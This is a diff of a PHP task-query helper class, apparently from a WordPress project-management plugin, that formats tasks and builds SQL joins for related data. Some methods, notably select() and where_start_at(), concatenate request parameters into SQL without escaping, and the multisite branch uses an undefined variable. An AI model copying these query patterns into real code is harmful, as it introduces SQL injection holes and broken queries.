$this->found_rows/$this->get_per_page() ), + 'per_page' => $this->get_per_page() + ]; + } + + /** + * Format task data + * + * @param Object $task + * + * @return array + */ + public function fromat_task( $task ) { + + $items = [ + 'id' => (int) $task->id, + 'title' => (string) $task->title, + 'description' => [ 'html' => pm_get_content( $task->description ), 'content' => $task->description ], + 'estimation' => $task->estimation * 60, + 'comparable_estimation' => $task->comparable_estimation, + 'formated_com_est' => pm_second_to_time( $task->comparable_estimation * 60 ), + 'start_at' => format_date( $task->start_at ), + 'due_date' => format_date( $task->due_date ), + 'complexity' => $this->complexity( $task->complexity ), + 'priority' => $this->priorities( $task->priority ), + 'order' => empty( $task->order ) ? 0 : intval( $task->order ), + 'payable' => $this->payability( $task->payable ), + 'recurrent' => $this->recurrency( $task->recurrent ), + 'parent_id' => (int) $task->parent_id, + 'status' => $this->status( $task->status ), + 'category_id' => empty( $task->type['id'] ) ? '' : (int) $task->type['id'], + 'created_at' => format_date( $task->created_at ), + 'created_by' => (int) $task->created_by, + 'completed_at' => format_date( $task->completed_at ), + 'updated_at' => format_date( $task->updated_at ), + 'creator' => [ 'data' => $this->user_info( $task->created_by ) ], + 'updater' => [ 'data' => $this->user_info( $task->updated_by ) ], + ]; + + // $select_items = empty( $this->query_params['select'] ) ? false : $this->query_params['select']; + + // if ( $select_items && ! is_array( $select_items ) ) { + // $select_items = str_replace( ' ', '', $select_items ); + // $select_items = explode( ',', $select_items ); + // } + + // if ( empty( $select_items ) ) { + // $items = $this->set_with_items( $items, $task ); + // $items = $this->set_fixed_items( $items, $task ); + // $items = $this->set_item_meta( $items, $task ); + + // return $items; + // } + + // foreach ( $items as $item_key => $item ) { + + // if ( ! in_array( $item_key, $select_items ) ) { + // unset( $items[$item_key] ); + // } + // } + + $items = $this->set_with_items( $items, $task ); + $items = $this->set_fixed_items( $items, $task ); + $items = $this->set_item_meta( $items, $task ); + + return $items; + } + + private function set_item_meta( $item, $task ) { + $item['meta'] = empty( $task->meta ) ? [] : $task->meta; + + $item['meta']['total_comment'] = $task->total_comments; + $item['meta']['can_complete_task'] = $this->pm_user_can_complete_task( $task ); + $item['meta']['total_files'] = $task->total_files; + $item['meta']['total_assignee'] = count( $task->assignees['data'] ); + $item['meta']['privacy'] = $task->is_private; + + return $item; + } + + function pm_user_can_complete_task( $task, $user_id = false ) { + if(!$task) { + return false; + } + $user_id = $user_id ? $user_id: get_current_user_id(); + + if ( pm_has_manage_capability( $user_id ) ) { + return true; + } + + if ( pm_is_manager( $task->project_id, $user_id ) ) { + return true; + } + + if ( (int) $task->created_by == $user_id ) { + return true; + } + //pmpr($task); die(); + $assignees = $task->assignees['data']; //pluck( 'assigned_to' )->all(); + $assignees = wp_list_pluck( $assignees, 'id' ); + $in_array = in_array( $user_id, $assignees ); + + if ( !empty( $in_array ) ) { + return true; + } + + return false; + } + + private function set_with_items( $items, $task ) { + + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace( ' ', '', $with ) ); + } + + $with = array_merge( $this->with, $with ); + + $task_with_items = array_intersect_key( (array) $task, array_flip( $with ) ); + $items = array_merge( $items, $task_with_items ); + + return $items; + } + + private function set_fixed_items( $items, $task ) { + + $items['id'] = (int) $task->id; + $items['project_id'] = (int) $task->project_id; + $items['project_title'] = $task->project_title; + $items['type'] = $task->type; + $items['order'] = $task->order; + $items['assignees'] = $task->assignees; + $items['task_list_id'] = (int) $task->task_list_id; + $items['task_list_title'] = $task->task_list_title; + + if ( isset( $task->is_stop_watch_visible ) ) { + $items['is_stop_watch_visible'] = $task->is_stop_watch_visible; + } + + if ( isset( $task->custom_time_form ) ) { + $items['custom_time_form'] = $task->custom_time_form; + } + + return $items; + } + + public function user_info( $user_id ) { + $user = get_user_by( 'id', $user_id ); + + $data = [ + 'id' => (int) $user->ID, + 'username' => $user->user_login, + 'nicename' => $user->user_nicename, + 'email' => $user->user_email, + 'profile_url' => $user->user_url, + 'display_name' => $user->display_name, + 'manage_capability' => (int) pm_has_manage_capability($user->ID), + 'create_capability' => (int) pm_has_project_create_capability($user->ID), + 'avatar_url' => get_avatar_url( $user->user_email ), + 'github' => get_user_meta($user->ID,'github' ,true), + 'bitbucket' => get_user_meta($user->ID,'bitbucket', true) + ]; + + return $data; + } + + public static function complexity( $complexity ) { + $complexity = empty( intval( $complexity ) ) ? 0 : intval( $complexity ); + + $items = [ + 0 => 'basic', + 1 => 'intermediate', + 2 => 'advance' + ]; + + return $items[$complexity]; + } + + public static function priorities( $priorities ) { + $priorities = empty( intval( $priorities ) ) ? 0 : intval( $priorities ); + + $items = [ + 0 => 'low', + 1 => 'medium', + 2 => 'high', + ]; + + return $items[$priorities]; + } + + public static function status( $status ) { + $status = empty( intval( $status ) ) ? 0 : intval( $status ); + + $items = [ + 0 => 'incomplete', + 1 => 'complete', + 2 => 'pending', + ]; + + return $items[$status]; + } + + public static function recurrency( $recurrency ) { + $recurrency = empty( intval( $recurrency ) ) ? 0 : intval( $recurrency ); + + $items = [ + 0 => '0', // no repeat + 1 => '1', // weekly + 2 => '2', // Monthly + 3 => '3', // Annually + 4 => '4', // daily + 9 => '9', // never + ]; + + return $items[$recurrency]; + } + + public static function payability( $payability ) { + $payability = empty( intval( $payability ) ) ? 0 : intval( $payability ); + + $items = [ + 0 => 'no', + 1 => 'yes' + ]; + + return $items[$payability]; + } + + /** + * Join others table information + * + * @return Object + */ + private function with() { + $this->include_project() + ->include_subtasks() + ->include_list() + ->include_assignees() + ->include_total_comments() + ->include_total_files() + ->include_task_type() + ->include_task_order() + ->include_estimation_time() + ->include_default_meta() + ->include_activities() + ->include_comments() + ->include_time() + ->include_label() + ->include_milestone(); + + $this->tasks = apply_filters( 'pm_task_with',$this->tasks, $this->task_ids, $this->query_params ); + + return $this; + } + + private function include_milestone() { + global $wpdb; + + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + $with = pm_get_prepare_data( $with ); + + if ( ! in_array( 'milestone', $with ) || empty( $this->task_ids ) ) { + return $this; + } + + $list_ids = wp_list_pluck( $this->tasks, 'task_list_id' ); + $tb_boardable = pm_tb_prefix() . 'pm_boardables'; + + if ( empty( $list_ids ) ) { + foreach ( $this->tasks as $key => $task ) { + $task->milestone['data'] = []; + } + + return $this; + } + + $list_format = pm_get_prepare_format( $list_ids ); + $format_data = array_merge( $list_ids, ['task_list', 'milestone'] ); + + $query = $wpdb->prepare( "SELECT board_id as milestone_id, boardable_id as list_id + FROM $tb_boardable + WHERE $tb_boardable.boardable_id IN ($list_format) + AND $tb_boardable.boardable_type = %s + AND $tb_boardable.board_type = %s", + $format_data + ); + + $results = $wpdb->get_results( $query ); + $milestone_ids = wp_list_pluck( $results, 'milestone_id' ); + $milestone_ids = empty( $milestone_ids ) ? [0] : $milestone_ids; + $milestones = pm_get_milestones([ 'id' => $milestone_ids]); + + $mis_key_id = []; + $list_mils = []; + + foreach ( $milestones['data'] as $key => $milestone ) { + $id = $milestone['id']; + $mis_key_id[$id] = $milestone; + } + + foreach ( $results as $key => $result ) { + $milestone_id = $result->milestone_id; + $list_id = $result->list_id; + + if( empty( $mis_key_id[$milestone_id] ) ) { + continue; + } + + $list_mils[$list_id] = $mis_key_id[$milestone_id]; + } + + foreach ( $this->tasks as $key => $task ) { + if ( empty( $list_mils[$task->task_list_id] ) ) { + $task->milestone['data'] = []; + } else { + $task->milestone['data'] = $list_mils[$task->task_list_id]; + } + } + + return $this; + } + + private function include_label() { + global $wpdb; + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + $with = pm_get_prepare_data( $with ); + + if ( ! in_array( 'labels', $with ) || empty( $this->task_ids ) ) { + return $this; + } + + if ( ! function_exists( 'pm_pro_get_labels' ) ) { + return $this; + } + + $results = pm_pro_get_labels([ + 'task_id' => $this->task_ids + ]); + + $labels = []; + + foreach ( $results['data'] as $key => $result ) { + $task_id = $result['task_id']; + $labels[$task_id][] = $result; + } + + foreach ( $this->tasks as $key => $task ) { + $task->labels['data'] = empty( $labels[$task->id] ) ? [] : $labels[$task->id]; + } + + return $this; + } + + private function include_time() { + global $wpdb; + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + $with = pm_get_prepare_data( $with ); + + if ( ! in_array( 'time', $with ) || empty( $this->task_ids ) ) { + return $this; + } + + if ( ! pm_is_active_time_tracker_module() ) { + return $this; + } + + if ( ! function_exists( 'pm_pro_get_times' ) ) { + return $this; + } + + $results = pm_pro_get_times([ + 'task_id' => $this->task_ids + ]); + + $times = []; + $user_times = []; + $meta = []; + $all_data = []; + + foreach ( $results['data'] as $key => $result ) { + if ( empty( $result['task_id'] ) ) { + continue; + } + + $task_id = $result['task_id']; + $times[$task_id][] = $result; + } + + foreach ( $results['all_data'] as $key => $result ) { + if ( empty( $result['task_id'] ) ) { + continue; + } + + $task_id = $result['task_id']; + $all_data[$task_id][] = $result; + } + + foreach ( $results['users_data'] as $task_id => $result ) { + $user_times[$task_id] = $result; + } + + foreach ( $results['meta']['tasks_total_time'] as $task_id => $result ) { + $meta[$task_id] = $result; + } + + foreach ( $this->tasks as $key => $task ) { + $task->time['data'] = empty( $times[$task->id] ) ? [] : $times[$task->id]; + $task->time['all_data'] = empty( $all_data[$task->id] ) ? [] : $all_data[$task->id]; + $task->time['users_data'] = empty( $user_times[$task->id] ) ? [] : $user_times[$task->id]; + $task->time['meta'] = empty( $meta[$task->id] ) ? [] : $meta[$task->id]; + } + + $task->time['meta']['running'] = $results['meta']['running']; + $task->time['meta']['totalTaskTime'] = $results['meta']['totalTaskTime']; + $task->time['meta']['totalTime'] = $results['meta']['totalTime']; + + return $this; + } + + private function include_comments() { + global $wpdb; + + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + $with = pm_get_prepare_data( $with ); + + if ( ! in_array( 'comments', $with ) || empty( $this->task_ids ) ) { + return $this; + } + + $comments = pm_get_comments([ + 'commentable_id' => array_unique( $this->task_ids ), + 'commentable_type' => 'task' + ]); + + $items = []; + + foreach ( $comments['data'] as $key => $comment ) { + if ( empty( $comment['id'] ) ) { + continue; + } + + $task_id = $comment['commentable_id']; + $items[$task_id][] = $comment; + } + + foreach ( $this->tasks as $key => $task ) { + $task->comments['data'] = empty( $items[$task->id] ) ? [] : $items[$task->id]; + } + + return $this; + } + + private function include_activities() { + global $wpdb; + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + $with = pm_get_prepare_data( $with ); + + if ( ! in_array( 'activities', $with ) || empty( $this->task_ids ) ) { + return $this; + } + + $results = pm_get_activities([ + 'resource_id' => $this->task_ids, + 'resource_type' => 'task' + ]); + + $activities = []; + + foreach ( $results['data'] as $key => $result ) { + $task_id = $result['resource_id']; + $activities[$task_id][] = $result; + } + + foreach ( $this->tasks as $key => $task ) { + $task->activities['data'] = empty( $activities[$task->id] ) ? [] : $activities[$task->id]; + } + + return $this; + } + + private function include_default_meta() { + if ( empty( $this->task_ids ) ) { + return $this; + } + + global $wpdb; + + $metas = []; + $tb_tasks = pm_tb_prefix() . 'pm_tasks'; + $tb_meta = pm_tb_prefix() . 'pm_meta'; + $task_format = pm_get_prepare_format( $this->task_ids ); + $query_data = $this->task_ids; + + $query = "SELECT DISTINCT $tb_meta.meta_key, $tb_meta.meta_value, $tb_meta.entity_id as task_id + FROM $tb_meta + WHERE $tb_meta.entity_id IN ($task_format) + AND $tb_meta.entity_type = %s"; + + array_push( $query_data, 'task' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $task_id = $result->task_id; + unset( $result->task_id ); + $metas[$task_id][] = $result; + } + + foreach ( $this->tasks as $key => $task ) { + $filter_metas = empty( $metas[$task->id] ) ? [] : $metas[$task->id]; + foreach ( $filter_metas as $key => $filter_meta ) { + $meta_value = @unserialize( $filter_meta->meta_value ); + + if ($meta_value === false && $filter_meta->meta_value !== 'b:0;') { + $task->meta[$filter_meta->meta_key] = $filter_meta->meta_value; + } else { + $task->meta[$filter_meta->meta_key] = maybe_unserialize( $filter_meta->meta_value ); + } + } + } + + return $this; + } + + private function include_estimation_time() { + global $wpdb; + + if ( empty( $this->task_ids ) ) { + return $this; + } + + if ( pm_get_estimation_type() == 'task' ) { + + foreach ( $this->tasks as $key => $task ) { + $task->comparable_estimation = $task->estimation; + } + + return $this; + } + + $tb_tasks = pm_tb_prefix() . 'pm_tasks'; + $tk_ids_format = $this->get_prepare_format( $this->task_ids ); + $query_data = $this->task_ids; + + $query ="SELECT sum(estimation) as estimation, parent_id + FROM $tb_tasks + WHERE parent_id IN ( $tk_ids_format ) + GROUP BY parent_id"; + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + //$results = wp_list_pluck( $results, 'estimation', 'parent_id' ); + $estimations = []; + + + + foreach ( $results as $key => $result ) { + $parent_id = $result->parent_id; + unset( $result->parent_id ); + $estimations[$parent_id] = $result; + } + + foreach ( $this->tasks as $key => $task ) { + $task->comparable_estimation = empty( $estimations[$task->id] ) ? 0 : $estimations[$task->id]->estimation; + } + + return $this; + } + + private function include_task_order() { + global $wpdb; + // $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + // if ( ! is_array( $with ) ) { + // $with = explode( ',', str_replace(' ', '', $with ) ); + // } + + // if ( ! in_array( 'task_type', $with ) || empty( $this->task_ids ) ) { + // return $this; + // } + + if ( empty( $this->task_ids ) ) { + return $this; + } + + $tb_boardable = pm_tb_prefix() . 'pm_boardables'; + $tk_ids_format = $this->get_prepare_format( $this->task_ids ); + $query_data = $this->task_ids; + + $query = "SELECT DISTINCT bor.order, bor.boardable_id as task_id + FROM $tb_boardable as bor + where bor.boardable_id IN ($tk_ids_format) + AND bor.boardable_type=%s"; + + array_push( $query_data, 'task' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + $orders = []; + + foreach ( $results as $key => $result ) { + $task_id = $result->task_id; + unset( $result->task_id ); + $orders[$task_id] = $result; + } + + foreach ( $this->tasks as $key => $task ) { + $task->order = empty( $orders[$task->id] ) ? 0 : intval( $orders[$task->id]->order ); + } + + return $this; + } + + private function include_subtasks() { + global $wpdb; + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace(' ', '', $with ) ); + } + + if ( ! in_array( 'subtasks', $with ) || empty( $this->task_ids ) ) { + return $this; + } + + $tb_tasks = pm_tb_prefix() . 'pm_tasks'; + $tk_ids_format = $this->get_prepare_format( $this->task_ids ); + + $query = "SELECT DISTINCT * + FROM $tb_tasks + where parent_id IN ($tk_ids_format)"; + + + $results = $wpdb->get_results( $wpdb->prepare( $query, $this->task_ids ) ); + $subtasks = []; + + foreach ( $results as $key => $result ) { + $task_id = $result->parent_id; + unset( $result->task_id ); + $subtasks[$task_id][] = $result; + } + + foreach ( $this->tasks as $key => $task ) { + $task->subtasks = empty( $subtasks[$task->id] ) ? [] : $subtasks[$task->id]; + } + + return $this; + } + + private function include_task_type() { + + global $wpdb; + // $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + // if ( ! is_array( $with ) ) { + // $with = explode( ',', str_replace(' ', '', $with ) ); + // } + + // if ( ! in_array( 'task_type', $with ) || empty( $this->task_ids ) ) { + // return $this; + // } + + if ( empty( $this->task_ids ) ) { + return $this; + } + + $tb_task_types = pm_tb_prefix() . 'pm_task_types'; + $tb_task_type_task = pm_tb_prefix() . 'pm_task_type_task'; + $tk_ids_format = $this->get_prepare_format( $this->task_ids ); + + $query = "SELECT DISTINCT typ.id as type_id, typ.title, typ.description, tk.id as task_id + FROM $tb_task_types as typ + LEFT JOIN $tb_task_type_task as typt ON typ.id = typt.type_id + LEFT JOIN $this->tb_tasks as tk ON tk.id = typt.task_id + where tk.id IN ($tk_ids_format)"; + + $results = $wpdb->get_results( $wpdb->prepare( $query, $this->task_ids ) ); + $types = []; + + foreach ( $results as $key => $result ) { + $task_id = $result->task_id; + $result->id = (int) $result->type_id; + + unset( $result->task_id ); + unset( $result->type_id ); + + $types[$task_id] = $result; + } + + foreach ( $this->tasks as $key => $task ) { + $task->type = empty( $types[$task->id] ) ? '' : (array) $types[$task->id]; + } + + return $this; + } + + /** + * Set project ssignees + * + * @return class object + */ + private function include_list() { + global $wpdb; + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace(' ', '', $with ) ); + } + + if ( ! in_array( 'task_list', $with ) || empty( $this->task_ids ) ) { + return $this; + } + + $tb_list = pm_tb_prefix() . 'pm_boards'; + $tb_boardable = pm_tb_prefix() . 'pm_boardables'; + $tk_ids_format = $this->get_prepare_format( $this->task_ids ); + + $query = "SELECT DISTINCT bo.id as id, bo.title, tk.id as task_id + FROM $tb_list as bo + LEFT JOIN $tb_boardable as bor ON bor.board_id = bo.id + LEFT JOIN $this->tb_tasks as tk ON tk.id = bor.boardable_id + where tk.id IN ($tk_ids_format)"; + + $results = $wpdb->get_results( $wpdb->prepare( $query, $this->task_ids ) ); + $lists = []; + + foreach ( $results as $key => $result ) { + $task_id = $result->task_id; + unset( $result->task_id ); + $lists[$task_id] = $result; + } + + foreach ( $this->tasks as $key => $task ) { + $task->task_list = empty( $lists[$task->id] ) ? ['data' => []] : [ 'data' => $lists[$task->id] ]; + } + + return $this; + } + + /** + * Set project ssignees + * + * @return class object + */ + private function include_project() { + global $wpdb; + + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + $with = pm_get_prepare_data( $with ); + + if ( empty( $this->task_ids ) ) { + return $this; + } + + $tb_project = pm_tb_prefix() . 'pm_projects'; + $tk_ids_format = $this->get_prepare_format( $this->task_ids ); + + $query = "SELECT DISTINCT pr.id as project_id, pr.title, tk.id as task_id + FROM $tb_project as pr + LEFT JOIN $this->tb_tasks as tk ON tk.project_id = pr.id + where tk.id IN ($tk_ids_format)"; + + + $results = $wpdb->get_results( $wpdb->prepare( $query, $this->task_ids ) ); + $projects = []; + + foreach ( $results as $key => $result ) { + $task_id = $result->task_id; + unset( $result->task_id ); + $projects[$task_id] = $result; + } + + if ( in_array( 'project', $with ) ) { + + $pjs_by_id = []; + $project_ids = wp_list_pluck( $results, 'project_id' ); + $db_projects = pm_get_projects( [ 'id' => array_unique( $project_ids ) ] ); + + foreach ( $db_projects['data'] as $key => $db_project ) { + $pjs_by_id[$db_project['id']] = $db_project; + } + + + foreach ( $this->tasks as $key => $task ) { + $task->project = empty( $pjs_by_id[$task->project_id] ) ? ['data' => []] : [ 'data' => $pjs_by_id[$task->project_id] ]; + } + } + + foreach ( $this->tasks as $key => $task ) { + $task->project_title = empty( $projects[$task->id] ) ? '' : $projects[$task->id]->title; + } + + return $this; + } + + private function include_assignees() { + global $wpdb; + // $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + // if ( ! is_array( $with ) ) { + // $with = explode( ',', $with ); + // } + + // if ( ! in_array( 'assignees', $with ) || empty( $this->task_ids ) ) { + // return $this; + // } + + if ( empty( $this->task_ids ) ) { + return $this; + } + + $tb_assignees = pm_tb_prefix() . 'pm_assignees'; + $tb_users = $wpdb->base_prefix . 'users'; + $tb_user_meta = $wpdb->base_prefix . 'usermeta'; + $task_format = pm_get_prepare_format( $this->task_ids ); + $query_data = $this->task_ids; + + if ( is_multisite() ) { + $meta_key = pm_user_meta_key(); + + $query = "SELECT DISTINCT usr.ID as id, usr.display_name, usr.user_email as email, asin.project_id, asin.role_id + FROM $tb_users as usr + LEFT JOIN $tb_assignees as asin ON usr.ID = asin.user_id + LEFT JOIN $tb_user_meta as umeta ON umeta.user_id = usr.ID + where asin.project_id IN ($project_format) + AND umeta.meta_key='$meta_key'"; + } else { + $query = "SELECT DISTINCT usr.ID as id, usr.display_name, usr.user_email as email, asin.task_id + FROM $tb_users as usr + LEFT JOIN $tb_assignees as asin ON usr.ID = asin.assigned_to + where asin.task_id IN ($task_format)"; + } + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $task_id = $result->task_id; + unset( $result->task_id ); + + $result->avatar_url = get_avatar_url( $result->id ); + + $users[$task_id][] = $result; + } + + foreach ( $this->tasks as $key => $task ) { + $task->assignees['data'] = empty( $users[$task->id] ) ? [] : $users[$task->id]; + } + + return $this; + } + + private function include_total_comments() { + global $wpdb; + // $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + // if ( ! is_array( $with ) ) { + // $with = explode( ',', str_replace(' ', '', $with ) ); + // } + + // if ( ! in_array( 'total_comments', $with ) || empty( $this->task_ids ) ) { + // return $this; + // } + + if ( empty( $this->task_ids ) ) { + return $this; + } + + $metas = []; + $tb_pm_comments = pm_tb_prefix() . 'pm_comments'; + $tb_tasks = pm_tb_prefix() . 'pm_tasks'; + $task_format = pm_get_prepare_format( $this->task_ids ); + $query_data = $this->task_ids; + + $query ="SELECT DISTINCT count($tb_pm_comments.id) as comment_count, + $tb_tasks.id as task_id + FROM $tb_pm_comments + LEFT JOIN $tb_tasks ON $tb_tasks.id = $tb_pm_comments.commentable_id + WHERE $tb_tasks.id IN ($task_format) + AND $tb_pm_comments.commentable_type = %s + group by $tb_tasks.id + "; + + array_push( $query_data, 'task' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $task_id = $result->task_id; + unset($result->task_id); + $metas[$task_id] = $result->comment_count; + } + + foreach ( $this->tasks as $key => $task ) { + $task->total_comments = empty( $metas[$task->id] ) ? 0 : $metas[$task->id]; + } + + return $this; + } + + private function include_total_files() { + global $wpdb; + + if ( empty( $this->task_ids ) ) { + return $this; + } + + $tb_pm_files = pm_tb_prefix() . 'pm_files'; + $tb_tasks = pm_tb_prefix() . 'pm_tasks'; + + $task_format = pm_get_prepare_format( $this->task_ids ); + $query_data = $this->task_ids; + + $query = "SELECT DISTINCT count(fl.id) as count, fl.fileable_id as task_id + from $tb_pm_files as fl + where fl.fileable_id IN ($task_format) + AND fl.fileable_type = %s + group by fl.fileable_id"; + + array_push( $query_data, 'task' ); + + $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); + + foreach ( $results as $key => $result ) { + $task_id = $result->task_id; + unset($result->task_id); + $metas[$task_id] = (int) $result->count; + } + + foreach ( $this->tasks as $key => $task ) { + $task->total_files = empty( $metas[$task->id] ) ? 0 : $metas[$task->id]; + } + + return $this; + + } + + /** + * Choose table select item + * + * @param string $tb + * @param string $key + * + * @return string + */ + private function get_selectable_items( $tb, $key ) { + $select = ''; + $select_items = $this->query_params[$key]; + + if ( empty( $select_items ) ) { + $select = $tb . '.*'; + } + + $select_items = str_replace( ' ', '', $select_items ); + $select_items = explode( ',', $select_items ); + + foreach ( $select_items as $key => $item ) { + $select .= $tb . '.' . $item . ','; + } + + return substr( $select, 0, -1 ); + } + + private function select() { + $select = ''; + + if ( empty( $this->query_params['select'] ) ) { + $this->select = $this->tb_tasks . '.*'; + + return $this; + } + + $select_items = $this->query_params['select']; + + if ( ! is_array( $select_items ) ) { + $select_items = str_replace( ' ', '', $select_items ); + $select_items = explode( ',', $select_items ); + } + + foreach ( $select_items as $key => $item ) { + $item = str_replace( ' ', '', $item ); + $select .= $this->tb_tasks . '.' . $item . ','; + } + + $this->select = substr( $select, 0, -1 ); + + return $this; + } + + private function join() { + + $this->join = apply_filters( 'pm_task_join', $this->join ); + + return $this; + } + + /** + * Set task where condition + * + * @return class object + */ + private function where() { + + $this->where_id() + ->where_title() + ->where_status() + ->where_start_at() + ->where_due_date() + ->where_completed_at() + ->where_project_id() + ->where_users() + ->where_lists() + ->where_milestone() + ->where_recurrent(); + + $this->where = apply_filters( 'pm_task_where', $this->where, $this->user_id ); + + return $this; + } + + public function get_prepare_format( $ids, $is_string = false ) { + + + $ids = $this->get_prepare_data( $ids ); + + // how many entries will we select? + $how_many = count( $ids ); + + // prepare the right amount of placeholders + // if you're looing for strings, use '%s' instead + if( $is_string ) { + $placeholders = array_fill( 0, $how_many, '%s' ); + } else { + $placeholders = array_fill( 0, $how_many, '%d' ); + } + + // glue together all the placeholders... + // $format = '%d, %d, %d, %d, %d, [...]' + $format = implode( ', ', $placeholders ); + + return $format; + } + + public function get_prepare_data( $args, $delimiter = ',' ) { + + $new = []; + + if ( is_array( $args ) ) { + foreach ( $args as $date_key => $value ) { + $new[trim($date_key)] = trim( $value ); + } + } + + if ( ! is_array( $args ) ) { + $args = explode( $delimiter, $args ); + + foreach ( $args as $date_key => $value ) { + $new[trim($date_key)] = trim( $value ); + } + } + + return $new; + } + + public function where_lists() { + $lists = isset( $this->query_params['lists'] ) ? $this->query_params['lists'] : false; + + if ( empty( $lists ) ) { + return $this; + } + + $format = $this->get_prepare_format( $lists ); + $lists = $this->get_prepare_data( $lists ); + + global $wpdb; + + $this->where .= $wpdb->prepare( " AND list.id IN ($format)", $lists ); + + return $this; + } + + private function where_users() { + $users = isset( $this->query_params['users'] ) ? $this->query_params['users'] : false; + $is_user_null = false; + + if ( empty( $users ) ) { + return $this; + } + + if ( is_null( $users ) || $users == 'null' ) { + $users = 0; + $is_user_null = true; + } + + $format = $this->get_prepare_format( $users ); + $users = $this->get_prepare_data( $users ); + + global $wpdb; + $tb_asin = pm_tb_prefix() . 'pm_assignees'; + + if ( $is_user_null ) { + $this->join .= " LEFT JOIN {$tb_asin} ON $tb_asin.task_id={$this->tb_tasks}.id"; + $this->where .= $wpdb->prepare( " AND ( $tb_asin.assigned_to IN ($format) OR $tb_asin.assigned_to is null ) ) ", $users ); + } else { + $this->join .= " LEFT JOIN {$tb_asin} ON $tb_asin.task_id={$this->tb_tasks}.id"; + $this->where .= $wpdb->prepare( " AND $tb_asin.assigned_to IN ($format)", $users ); + } + + return $this; + } + + private function where_milestone() { + if ( !isset( $this->query_params['milestone'] ) ) { + return $this; + } + + global $wpdb; + + $milestone = $this->query_params['milestone']; + $tb_milestone = pm_tb_prefix() . 'pm_boards'; + $tb_boardables = pm_tb_prefix() . 'pm_boardables'; + + if ( empty( $milestone ) ) { + $data_milestone = $wpdb->get_results( $wpdb->prepare( "SELECT id FROM {$tb_milestone} WHERE %d=%d AND type='milestone'", 1, 1 ) ); + $milestone_ids = wp_list_pluck( $data_milestone, 'id' ); + + } else { + $milestone_ids = pm_get_prepare_data( $milestone ); + } + + $milestone_ids = empty( $milestone_ids ) ? [-1] : $milestone_ids; + + $format = pm_get_prepare_format( $milestone_ids ); + $format_data = array_merge( $milestone_ids, ['milestone', 'task_list'] ); + + $milestone_lists = $wpdb->get_results( + $wpdb->prepare( "SELECT boardable_id as list_id + FROM {$tb_boardables} + WHERE board_id IN ($format) + + AND board_type=%s + AND boardable_type=%s", + + $format_data + ) + ); + + $list_ids = wp_list_pluck( $milestone_lists, 'list_id' ); + $list_ids = empty( $list_ids ) ? [-1] : $list_ids; + $format = pm_get_prepare_format( $list_ids ); + + $this->where .= $wpdb->prepare( " AND list.id IN ($format)", $list_ids ); + + return $this; + } + + private function where_project_id() { + $project_id = isset( $this->query_params['project_id'] ) ? $this->query_params['project_id'] : false; + + if ( empty( $project_id ) ) { + return $this; + } + + global $wpdb; + $format = $this->get_prepare_format( $project_id ); + $project_id = $this->get_prepare_data( $project_id ); + + $this->where .= $wpdb->prepare( " AND {$this->tb_tasks}.project_id IN ($format)", $project_id ); + + return $this; + } + + private function where_start_at() { + + if ( + empty( pm_get_setting( 'task_start_field' ) ) + || + pm_get_setting( 'task_start_field' ) == 'false' + ) { + return $this; + } + + $start_at = !empty( $this->query_params['start_at'] ) ? $this->query_params['start_at'] : false; + $ope_params = !empty( $this->query_params['start_at_operator'] ) ? $this->query_params['start_at_operator'] : false; + $ope_params = $this->get_prepare_data( $ope_params ); + + if ( $start_at === false ) { + return $this; + } + + if ( empty( $ope_params ) ) { + return $this; + } + + global $wpdb; + + $q = []; + + $keys = array_keys( $ope_params ); + $last_key = end( $keys ); + + foreach ( $ope_params as $key => $ope_param ) { + $explode = explode( '|', str_replace( ' ', '', $ope_param ) ); + $operator = $this->get_operator( $explode[0] ); + + if ( empty( $operator ) ) { + continue; + } + + if ( ! empty( $explode[1] ) ) { + $relation = $explode[1]; + } else { + $relation = 'AND'; + } + + if ( $last_key == $key ) { + $relation = ''; + } + + + $start_at = date( 'Y-m-d', strtotime( $start_at ) ); + + if( $explode[0] == 'null' || $explode[0] == 'empty' ) { + $q[] = "({$this->tb_tasks}.start_at $operator) $relation"; + } else { + $q[] = $wpdb->prepare( " + ( {$this->tb_tasks}.start_at $operator %s ) + OR + ( {$this->tb_tasks}.start_at is null AND {$this->tb_tasks}.created_at $operator %s ) ", + $start_at, $start_at + ) .' '. $relation; + } + } + + $q = implode( ' ', $q ); + + if ( ! empty( $q ) ) { + $this->where .= " AND ( $q ) "; + } + + return $this; + } + + function explode( $data, $delimiter ) { + + if ( is_array( $data ) ) { + return $data; + } + + $data = explode( $delimiter, $data ); + } + + private function where_completed_at() { + global $wpdb; + + $completed_at = !empty( $this->query_params['completed_at'] ) ? $this->query_params['completed_at'] : false; + $completed_at_start = !empty( $this->query_params['completed_at_start'] ) ? $this->query_params['completed_at_start'] : false; + $completed_at_between = !isset( $this->query_params['completed_at_between'] ) ? true : pm_is_true( $this->query_params['completed_at_between'] ); + $ope_params = !empty( $this->query_params['completed_at_operator'] ) ? $this->query_params['completed_at_operator'] : false; + $ope_params = pm_get_prepare_data( $ope_params ); + + if ( empty( $ope_params ) ) { + if ( empty( $completed_at ) ) { + return $this; + } + } + + if ( $completed_at_start ) { + $com_start_reduce = date('Y-m-d', strtotime ( $completed_at_start) ); + $com_add = date('Y-m-d', strtotime ( $completed_at) ); 